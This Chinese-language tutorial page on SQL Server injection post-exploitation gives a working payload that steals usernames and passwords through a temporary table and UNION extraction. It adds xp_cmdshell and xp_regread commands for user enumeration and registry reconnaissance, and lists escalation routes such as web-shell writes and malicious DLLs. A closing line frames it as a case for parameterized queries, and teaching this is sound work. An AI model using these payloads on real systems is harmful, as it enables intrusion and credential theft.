首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 高階注入技術(四):錯誤回顯竊取資料、建立臨時表暫存、UNION 查詢提取與深度滲透路徑

     編輯:關於SqlServer

錯誤回顯竊取資料進階

利用型別轉換錯誤將查詢結果強制顯示於錯誤訊息中:

DECLARE @ret VARCHAR(8000);
SET @ret = ':';
SELECT @ret = @ret + ' ' + username + '/' + password FROM users WHERE username > @ret;
SELECT @ret AS ret INTO foo;  -- 建立臨時表暫存

攻擊者注入:

'; BEGIN DECLARE @ret VARCHAR(8000) SET @ret=':' SELECT @ret=@ret+' '+username+'/'+password FROM users WHERE username>@ret SELECT @ret AS ret INTO foo END--

再以 UNION SELECT ret,1,1,1 FROM foo 逐批提取,最後 DROP TABLE foo 清理。

深度滲透八大路徑

  1. xp_cmdshell 執行系統命令
  2. xp_regread 讀取註冊表/SAM
  3. 其他擴展預存程序修改系統設定
  4. 連結伺服器橫向移動
  5. 上傳惡意 DLL 註冊擴展預存程序
  6. BULK INSERT 讀取伺服器任意檔案
  7. BCP 寫入 Web Shell/腳本
  8. sp_OACreate 建立 COM 物件執行任意代碼

xp_cmdshell 實戰

EXEC master..xp_cmdshell 'dir';           -- 列出工作目錄
EXEC master..xp_cmdshell 'net1 user';     -- 列出主機用戶

xp_regread 實戰

EXEC xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares';
EXEC xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities';

可竄改空會話共享、SNMP 社群字串,進而控制網路設備。

其他實用擴展預存程序

  • xp_servicecontrol 啟動排程/伺服器服務
  • xp_availablemedia 列出磁碟機
  • xp_dirtree 取得目錄樹
  • xp_enumdsn 列舉 ODBC 資料源
  • xp_loginconfig 檢視安全模式
  • xp_makecab 建立壓縮檔
  • xp_ntsec_enumdomains 列舉可達網域

此系列文檔旨在揭示注入成功後的後續利用鏈,強調預防注入(參數化)是唯一根本對策,事後緩解僅為縱深防禦補充。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved